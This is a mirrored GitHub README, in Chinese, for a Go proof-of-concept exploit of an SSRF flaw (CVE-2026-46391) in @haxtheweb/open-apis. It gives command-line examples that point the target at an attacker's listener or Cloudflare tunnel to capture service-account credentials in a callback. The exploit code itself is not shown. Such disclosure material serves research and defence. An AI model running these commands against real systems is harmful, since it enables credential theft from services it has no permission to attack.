bradyjmcl/cve-2026-46391

GitHub: bradyjmcl/cve-2026-46391

针对 @haxtheweb/open-apis 中 cacheAddress 端点 SSRF 漏洞(CVE-2026-46391)的概念验证工具,可通过回调捕获服务账号凭据。

Stars: 0 | Forks: 0

# CVE-2026-46391 - 通过 @haxtheweb/open-apis 中的 SSRF 造成凭据泄露 ![test](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/b7c2d126ae131011.svg) [CVE-2026-46391](https://github.com/haxtheweb/issues/security/advisories/GHSA-4fg7-f244-3j49) 的概念验证。触发 `@haxtheweb/open-apis` 中 `cacheAddress` 端点的 SSRF 漏洞,并捕获在回调中发送的服务账号凭据。 ![](https://raw.githubusercontent.com/bradyjmcl/cve-2026-46391/main/.assets/poc.gif) ## 用法 ``` ./cve-2026-46391 -u -l [-p port] [-t seconds] [-v] ``` ### 选项 | 标志 | 描述 | 默认值 | |---|---|---| | `-u`, `--url` | 目标 Web 根目录(例如 `http://10.10.0.80:3000`) | 必填 | | `-l`, `--listener` | 你的 IP/主机名或隧道 URL(例如 `192.168.1.10`,`https://uuid.trycloudflare.com`) | 必填 | | `-p`, `--port` | 监听的本地端口 | `8080` | | `-t`, `--timeout` | 等待回调的秒数 | `30` | | `-v`, `--verbose` | 打印每个入站请求的 headers 和 body | 关闭 | ### 示例 **直连(与目标在同一网络):** ``` ./cve-2026-46391 -u http://10.10.0.80:3000 -l 10.10.15.201 ``` **通过 VPS/Cloudflare 隧道等:** ``` ./cve-2026-46391 -u http://10.10.0.80:3000 -l https://random-words.trycloudflare.com ``` **自定义端口和超时时间:** ``` ./cve-2026-46391 -u http://10.10.0.80:3000 -l 10.10.15.201 -p 9090 -t 60 ``` ## 构建 ``` go build -o cve-2026-46391 . ``` ## 测试 ``` go test ./... ```
标签:CISA项目, Cloudflare Tunnel, CVE-2026-46391, EVTX分析, Go, Golang, HAXtheweb, Open APIs, PoC, Ruby工具, SSRF, 凭据泄露, 回调漏洞, 安全漏洞, 安全编程, 日志审计, 暴力破解, 服务端请求伪造, 网络安全, 隐私保护